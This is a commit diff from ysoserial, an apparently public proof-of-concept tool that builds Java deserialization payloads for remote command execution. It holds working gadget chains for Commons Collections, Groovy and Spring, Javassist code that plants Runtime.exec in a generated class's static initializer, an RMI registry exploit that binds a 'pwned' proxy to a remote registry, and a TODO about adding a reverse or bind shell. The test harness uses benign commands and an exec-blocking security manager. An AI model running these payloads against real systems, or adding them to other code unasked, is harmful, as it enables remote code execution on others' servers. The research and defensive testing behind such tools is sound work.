6 Commits
20 changed files with 338 additions and 207 deletions
-1
View File
@@ -1,7 +1,6 @@
language: java language: java
jdk: jdk:
- oraclejdk8 - oraclejdk8
- openjdk8
- oraclejdk7 - oraclejdk7
- openjdk7 - openjdk7
- openjdk6 - openjdk6
+9 -2
View File
@@ -7,8 +7,11 @@ A proof-of-concept tool for generating payloads that exploit unsafe Java object
## Description ## Description
ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java Released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"](http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles)
libraries. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then
__ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java
libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of objects.
The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then
serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes
this data, the chain will automatically be invoked and cause the command to be executed on the application host. this data, the chain will automatically be invoked and cause the command to be executed on the application host.
@@ -57,6 +60,10 @@ $ java -cp ysoserial-0.0.1-all.jar ysoserial.RMIRegistryExploit myhost 1099 Comm
1. Download the latest jar from the "releases" section. 1. Download the latest jar from the "releases" section.
## Code Status
[![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
## Contributing ## Contributing
1. Fork it 1. Fork it
+6 -1
View File
@@ -4,7 +4,7 @@
<groupId>ysoserial</groupId> <groupId>ysoserial</groupId>
<artifactId>ysoserial</artifactId> <artifactId>ysoserial</artifactId>
<version>0.0.1-SNAPSHOT</version> <version>0.0.2-SNAPSHOT</version>
<packaging>jar</packaging> <packaging>jar</packaging>
<name>ysoserial</name> <name>ysoserial</name>
@@ -88,6 +88,11 @@
<version>2.1.1</version> <version>2.1.1</version>
<type>pom</type> <type>pom</type>
</dependency> </dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<!-- gadget dependecies --> <!-- gadget dependecies -->
@@ -0,0 +1,44 @@
package ysoserial;
import java.security.Permission;
import java.util.concurrent.Callable;
public class ExecBlockingSecurityManager extends SecurityManager {
@Override
public void checkPermission(final Permission perm) { }
@Override
public void checkPermission(final Permission perm, final Object context) { }
public void checkExec(final String cmd) {
super.checkExec(cmd);
// throw a special exception to ensure we can detect exec() in the test
throw new ExecException(cmd);
};
@SuppressWarnings("serial")
public static class ExecException extends RuntimeException {
private final String cmd;
public ExecException(String cmd) { this.cmd = cmd; }
public String getCmd() { return cmd; }
}
public static void wrap(final Runnable runnable) throws Exception {
wrap(new Callable<Void>(){
public Void call() throws Exception {
runnable.run();
return null;
}
});
}
public static <T> T wrap(final Callable<T> callable) throws Exception {
SecurityManager sm = System.getSecurityManager();
System.setSecurityManager(new ExecBlockingSecurityManager());
try {
return callable.call();
} finally {
System.setSecurityManager(sm);
}
}
}
+1 -1
View File
@@ -38,7 +38,7 @@ public class GeneratePayload {
final Object object = payload.getObject(command); final Object object = payload.getObject(command);
final ObjectOutputStream objOut = new ObjectOutputStream(System.out); final ObjectOutputStream objOut = new ObjectOutputStream(System.out);
objOut.writeObject(object); objOut.writeObject(object);
} catch (Exception e) { } catch (Throwable e) {
System.err.println("Error while generating or serializing payload"); System.err.println("Error while generating or serializing payload");
e.printStackTrace(); e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE); System.exit(INTERNAL_ERROR_CODE);
@@ -3,21 +3,51 @@ package ysoserial;
import java.rmi.Remote; import java.rmi.Remote;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; import java.rmi.registry.Registry;
import java.util.Arrays;
import java.util.concurrent.Callable;
import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
/* /*
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.
* Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.
*
* TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
* interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .
*/ */
public class RMIRegistryExploit { public class RMIRegistryExploit {
public static void main(String[] args) throws Exception { public static void main(final String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1])); // ensure payload doesn't detonate during construction or deserialization
String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; ExecBlockingSecurityManager.wrap(new Callable<Void>(){public Void call() throws Exception {
Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className); Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
Object payload = payloadClass.newInstance().getObject(args[3]); String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class); Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
registry.bind("pwned", remote); Object payload = payloadClass.newInstance().getObject(args[3]);
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
try {
registry.bind("pwned", remote);
} catch (Throwable e) {
e.printStackTrace();
}
try {
String[] names = registry.list();
for (String name : names) {
System.out.println("looking up '" + name + "'");
try {
Remote rem = registry.lookup(name);
System.out.println(Arrays.asList(rem.getClass().getInterfaces()));
} catch (Throwable e) {
e.printStackTrace();
}
}
} catch (Throwable e) {
e.printStackTrace();
}
return null;
}});
} }
} }
@@ -10,6 +10,7 @@ import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
@@ -37,6 +38,7 @@ import ysoserial.payloads.util.Reflections;
commons-collections commons-collections
*/ */
@SuppressWarnings({"rawtypes", "unchecked"}) @SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> { public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception { public InvocationHandler getObject(final String command) throws Exception {
@@ -70,7 +72,7 @@ public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<
return handler; return handler;
} }
public static void main(final String[] args) { public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args); PayloadRunner.run(CommonsCollections1.class, args);
} }
} }
@@ -6,7 +6,7 @@ import java.util.Queue;
import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.util.ClassFiles; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
@@ -22,23 +22,14 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
InvokerTransformer.transform() InvokerTransformer.transform()
Method.invoke() Method.invoke()
Runtime.exec() Runtime.exec()
Requires:
commons-collections4
*/ */
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) @SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> { public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception { public Queue<Object> getObject(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl(); final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
ClassFiles.classAsBytes(Gadgets.TransletPayload.class),
ClassFiles.classAsBytes(Gadgets.Foo.class)}); // required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr"); // required to make TemplatesImpl happy
// mock method name until armed // mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
@@ -54,12 +45,12 @@ public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
// switch contents of queue // switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates; queueArray[0] = templates;
queueArray[1] = new Gadgets.TransletPayload().withCommand(command); queueArray[1] = 1;
return queue; return queue;
} }
public static void main(final String[] args) { public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args); PayloadRunner.run(CommonsCollections2.class, args);
} }
@@ -6,6 +6,7 @@ import java.util.Map;
import org.codehaus.groovy.runtime.ConvertedClosure; import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure; import org.codehaus.groovy.runtime.MethodClosure;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -25,6 +26,7 @@ import ysoserial.payloads.util.PayloadRunner;
*/ */
@SuppressWarnings({ "rawtypes", "unchecked" }) @SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> { public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception { public InvocationHandler getObject(final String command) throws Exception {
@@ -37,7 +39,7 @@ public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHa
return handler; return handler;
} }
public static void main(final String[] args) { public static void main(final String[] args) throws Exception {
PayloadRunner.run(Groovy1.class, args); PayloadRunner.run(Groovy1.class, args);
} }
} }
+12 -26
View File
@@ -5,23 +5,20 @@ import static java.lang.Class.forName;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Type; import java.lang.reflect.Type;
import java.util.Arrays;
import java.util.List;
import javax.xml.transform.Templates; import javax.xml.transform.Templates;
import org.springframework.beans.factory.ObjectFactory; import org.springframework.beans.factory.ObjectFactory;
import ysoserial.payloads.util.ClassFiles; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
/* /*
Gadget chains: Gadget chain:
ObjectInputStream.readObject() ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
@@ -44,27 +41,17 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
TemplatesImpl.getTransletInstance() TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses() TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass() TemplatesImpl.TransletClassLoader.defineClass()
Gadgets.TransletPayload.readObject() Pwner*(Javassist-generated).<static init>
Runtime.exec() Runtime.exec()
Requires:
spring-framework-core
*/ */
@SuppressWarnings({"restriction", "rawtypes"}) @SuppressWarnings({"restriction", "rawtypes"})
public class Spring1 extends PayloadRunner implements ObjectPayload<List<Object>> { @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
public List<Object> getObject(final String command) throws Exception { public Object getObject(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl(); final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
ClassFiles.classAsBytes(Gadgets.TransletPayload.class),
ClassFiles.classAsBytes(Gadgets.Foo.class)});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
final ObjectFactory objectFactoryProxy = final ObjectFactory objectFactoryProxy =
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
@@ -78,14 +65,13 @@ public class Spring1 extends PayloadRunner implements ObjectPayload<List<Object>
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Templates.class.getMethod("newTransformer", new Class[] {}), 0); final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
Reflections.setFieldValue(templates, "_auxClasses", null); // required to make TemplatesImpl serialization happy return mitp;
return Arrays.asList(mitp, new Gadgets.TransletPayload().withCommand(command));
} }
public static void main(final String[] args) { public static void main(final String[] args) throws Exception {
PayloadRunner.run(Spring1.class, args); PayloadRunner.run(Spring1.class, args);
} }
@@ -0,0 +1,12 @@
package ysoserial.payloads.annotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface Dependencies {
String[] value() default {};
}
@@ -22,19 +22,23 @@ public class ClassFiles {
return str; return str;
} }
public static byte[] classAsBytes(final Class<?> clazz) throws IOException { public static byte[] classAsBytes(final Class<?> clazz) {
final byte[] buffer = new byte[1024]; try {
final String file = classAsFile(clazz); final byte[] buffer = new byte[1024];
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); final String file = classAsFile(clazz);
if (in == null) { final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
throw new IOException("couldn't find '" + file + "'"); if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
} }
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} }
} }
@@ -1,7 +1,5 @@
package ysoserial.payloads.util; package ysoserial.payloads.util;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable; import java.io.Serializable;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
@@ -9,9 +7,15 @@ import java.lang.reflect.Proxy;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
@@ -22,35 +26,13 @@ import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Gadgets { public class Gadgets {
private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
// serializable translet subclass that will command stored in field when deserialized public static class StubTransletPayload extends AbstractTranslet implements Serializable {
public static class TransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L;
private static final long serialVersionUID = 5571793986024357801L;
{
namesArray = new String[0]; // needed to make TemplatesImpl happy
}
private String command;
// execute stored command on deserialization
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // read command string
try {
Runtime.getRuntime().exec(command); // execute command
} catch (IOException e) {
e.printStackTrace(); // not trying to be stealthy
}
}
public TransletPayload withCommand(String command) {
this.command = command;
return this;
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) @Override
throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
} }
// required to make TemplatesImpl happy // required to make TemplatesImpl happy
@@ -81,4 +63,30 @@ public class Gadgets {
map.put(key,val); map.put(key,val);
return map; return map;
} }
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
} }
@@ -2,6 +2,10 @@ package ysoserial.payloads.util;
import static ysoserial.payloads.util.Serializables.deserialize; import static ysoserial.payloads.util.Serializables.deserialize;
import static ysoserial.payloads.util.Serializables.serialize; import static ysoserial.payloads.util.Serializables.serialize;
import java.util.concurrent.Callable;
import ysoserial.ExecBlockingSecurityManager;
import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload;
/* /*
@@ -9,22 +13,24 @@ import ysoserial.payloads.ObjectPayload;
*/ */
@SuppressWarnings("unused") @SuppressWarnings("unused")
public class PayloadRunner { public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload> clazz, final String[] args) { public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// ensure payload generation doesn't throw an exception
byte[] serialized = ExecBlockingSecurityManager.wrap(new Callable<byte[]>(){
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
System.out.println("generating payload object(s) for command: '" + command + "'");
final Object objBefore = clazz.newInstance().getObject(command);
System.out.println("serializing payload");
return serialize(objBefore);
}});
try { try {
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
System.out.println("generating payload object(s) for command: '" + command + "'");
final Object objBefore = clazz.newInstance().getObject(command);
System.out.println("serializing payload");
final byte[] serialized = serialize(objBefore);
System.out.println("deserializing payload"); System.out.println("deserializing payload");
final Object objAfter = deserialize(serialized); final Object objAfter = deserialize(serialized);
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
} }
@@ -0,0 +1,17 @@
package ysoserial;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.concurrent.Callable;
/*
* deserializes specified bytes; for use from isolated classloader
*/
public class DeserializerThunk implements Callable<Object> {
private final byte[] bytes;
public DeserializerThunk(byte[] bytes) { this.bytes = bytes; }
public Object call() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
}
}
@@ -6,6 +6,9 @@ import java.io.Serializable;
@SuppressWarnings("serial") @SuppressWarnings("serial")
public class ExecSerializable implements Serializable { public class ExecSerializable implements Serializable {
private final String cmd;
public ExecSerializable(String cmd) { this.cmd = cmd; }
private void readObject(final ObjectInputStream ois) { private void readObject(final ObjectInputStream ois) {
try { try {
Runtime.getRuntime().exec("hostname"); Runtime.getRuntime().exec("hostname");
-17
View File
@@ -1,17 +0,0 @@
package ysoserial;
import java.io.Serializable;
import ysoserial.payloads.ObjectPayload;
public class MockPayload implements ObjectPayload {
private final Serializable obj;
public MockPayload(final Serializable obj) {
this.obj = obj;
}
public Object getObject(final String command) throws Exception {
return obj;
}
}
@@ -1,24 +0,0 @@
package ysoserial;
import java.security.Permission;
import java.util.LinkedList;
import java.util.List;
public class MockSecurityManager extends SecurityManager {
private final List<Permission> checks = new LinkedList<Permission>();
public List<Permission> getChecks() {
return checks;
}
@Override
public void checkPermission(final Permission perm) {
checks.add(perm);
}
@Override
public void checkPermission(final Permission perm, final Object context) {
checks.add(perm);
}
}
+1 -1
View File
@@ -3,6 +3,6 @@ package ysoserial;
public class Throwables { public class Throwables {
public static Throwable getInnermostCause(final Throwable t) { public static Throwable getInnermostCause(final Throwable t) {
final Throwable cause = t.getCause(); final Throwable cause = t.getCause();
return cause == null ? t : getInnermostCause(cause); return cause == null || cause == t ? t : getInnermostCause(cause);
} }
} }
@@ -2,89 +2,145 @@ package ysoserial.payloads;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
import java.io.FilePermission; import java.io.File;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.concurrent.Callable;
import org.hamcrest.CoreMatchers;
import org.jboss.shrinkwrap.resolver.api.maven.Maven;
import org.junit.Assert; import org.junit.Assert;
import org.junit.Rule; import org.junit.Rule;
import org.junit.Test; import org.junit.Test;
import org.junit.contrib.java.lang.system.ProvideSecurityManager; import org.junit.contrib.java.lang.system.ProvideSecurityManager;
import org.junit.experimental.theories.DataPoints;
import org.junit.experimental.theories.Theories;
import org.junit.experimental.theories.Theory;
import org.junit.runner.RunWith; import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters;
import ysoserial.DeserializerThunk;
import ysoserial.ExecBlockingSecurityManager;
import ysoserial.ExecBlockingSecurityManager.ExecException;
import ysoserial.ExecSerializable; import ysoserial.ExecSerializable;
import ysoserial.MockPayload;
import ysoserial.MockSecurityManager;
import ysoserial.Throwables; import ysoserial.Throwables;
import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.Groovy1; import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.Spring1;
import ysoserial.payloads.util.Serializables; import ysoserial.payloads.util.Serializables;
/* /*
* tests each of the parameterize Payload classes by using a mock SecurityManager that throws * tests each of the parameterize Payload classes by using a mock SecurityManager that throws
* a special exception when an exec() attempt is made for more reliable detection; self-tests * a special exception when an exec() attempt is made for more reliable detection; self-tests
* the harness for trivial pass and failure cases * the harness for trivial pass and failure cases
TODO: pull out harness tests so they are only run once
TODO: figure out better way to test exception behavior than comparing messages
*/ */
@SuppressWarnings({"restriction","unused"}) @SuppressWarnings({"restriction", "unused", "unchecked"})
@RunWith(Theories.class) @RunWith(Parameterized.class)
public class PayloadsTest { public class PayloadsTest {
private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName(); private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
private static final String DESER_THUNK_CLASS = DeserializerThunk.class.getName();
@SuppressWarnings("serial")
private static class ExecException extends RuntimeException {}
private final MockSecurityManager msm = new MockSecurityManager(){
public void checkExec(final String cmd) {
super.checkExec(cmd);
// throw a special exception to ensure we can detect exec() in the test
throw new ExecException();
};
};
@Rule @Rule
public final ProvideSecurityManager psm = new ProvideSecurityManager(msm); public final ProvideSecurityManager psm = new ProvideSecurityManager(new ExecBlockingSecurityManager());
@DataPoints @Parameters(name = "payloadClass: {0}")
public static ObjectPayload[] payloads() { public static Class<? extends ObjectPayload<?>>[] payloads() {
return new ObjectPayload[] { new CommonsCollections1(), new Groovy1(), new Spring1() }; return new Class[] { CommonsCollections1.class, Groovy1.class , CommonsCollections2.class, Spring1.class };
} }
@Theory private final Class<? extends ObjectPayload<?>> payloadClass;
public void testPayload(final ObjectPayload payload) throws Exception {
final Object f = payload.getObject("hostname");
final byte[] serialized = Serializables.serialize(f);
// special case for using TemplatesImpl gadgets with SecurityManager public PayloadsTest(Class<? extends ObjectPayload<?>> payloadClass) {
this.payloadClass = payloadClass;
}
@Test
public void testPayload() throws Exception {
testPayload(payloadClass, new Class[0]);
}
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, Class[] addlClassesForClassLoader) throws Exception {
String command = "hostname";
Dependencies depsAnn = payloadClass.getAnnotation(Dependencies.class);
String[] deps = depsAnn != null ? depsAnn.value() : new String[0];
ObjectPayload<?> payload = payloadClass.newInstance();
final Object f = payload.getObject(command);
final byte[] serialized = Serializables.serialize(f);
try {
deserializeWithDependencies(serialized, deps, addlClassesForClassLoader);
Assert.fail(ASSERT_MESSAGE); // should never get here
} catch (Throwable e) {
// hopefully everything will reliably nest our ExecException
Throwable innerEx = Throwables.getInnermostCause(e);
Assert.assertEquals(ExecException.class, innerEx.getClass());
Assert.assertEquals(command, ((ExecException) innerEx).getCmd());
}
}
@SuppressWarnings({ "unchecked" })
private static void deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies) throws Exception {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true"); System.setProperty(DESERIALIZE_TRANSLET, "true");
try { File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
final Object obj = Serializables.deserialize(serialized); URL[] urls = new URL[jars.length];
Assert.fail(ASSERT_MESSAGE); // should never get here for (int i = 0; i < jars.length; i++) {
} catch (Exception e) { urls[i] = jars[i].toURI().toURL();
// hopefully everything will reliably nest our ExecException
Assert.assertEquals(Throwables.getInnermostCause(e).getClass(), ExecException.class);
} }
// confirm sm saw the check for file execution URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {{
Assert.assertTrue(msm.getChecks().contains(new FilePermission("<<ALL FILES>>", "execute"))); for (Class<?> clazz : classDependencies) {
byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length);
}
byte[] deserializerClassBytes = ClassFiles.classAsBytes(DeserializerThunk.class);
defineClass(DeserializerThunk.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
}};
Class<?> deserializerClass = isolatedClassLoader.loadClass(DESER_THUNK_CLASS);
Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[0].newInstance(serialized);
final Object obj = deserializer.call();
} }
// make sure test harness fails properly // make sure test harness fails properly
@Test @Test
public void testHarnessFail() throws Exception { public void testHarnessExecFail() throws Exception {
try { try {
testPayload(new MockPayload(1)); testPayload(NoopMockPayload.class, new Class[0]);
Assert.fail("should have failed"); Assert.fail("should have failed");
} catch (AssertionError e) { } catch (AssertionError e) {
Assert.assertEquals(ASSERT_MESSAGE, e.getMessage()); Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>"));
} }
} }
// make sure test harness passes properly // make sure test harness fails properly
@Test @Test
public void testHarnessPass() throws Exception { public void testHarnessClassLoaderFail() throws Exception {
testPayload(new MockPayload(new ExecSerializable())); try {
testPayload(ExecMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
}
}
// make sure test harness passes properly with trivial execution gadget
@Test
public void testHarnessExecPass() throws Exception {
testPayload(ExecMockPayload.class, new Class[] { ExecSerializable.class });
}
public static class ExecMockPayload implements ObjectPayload<ExecSerializable> {
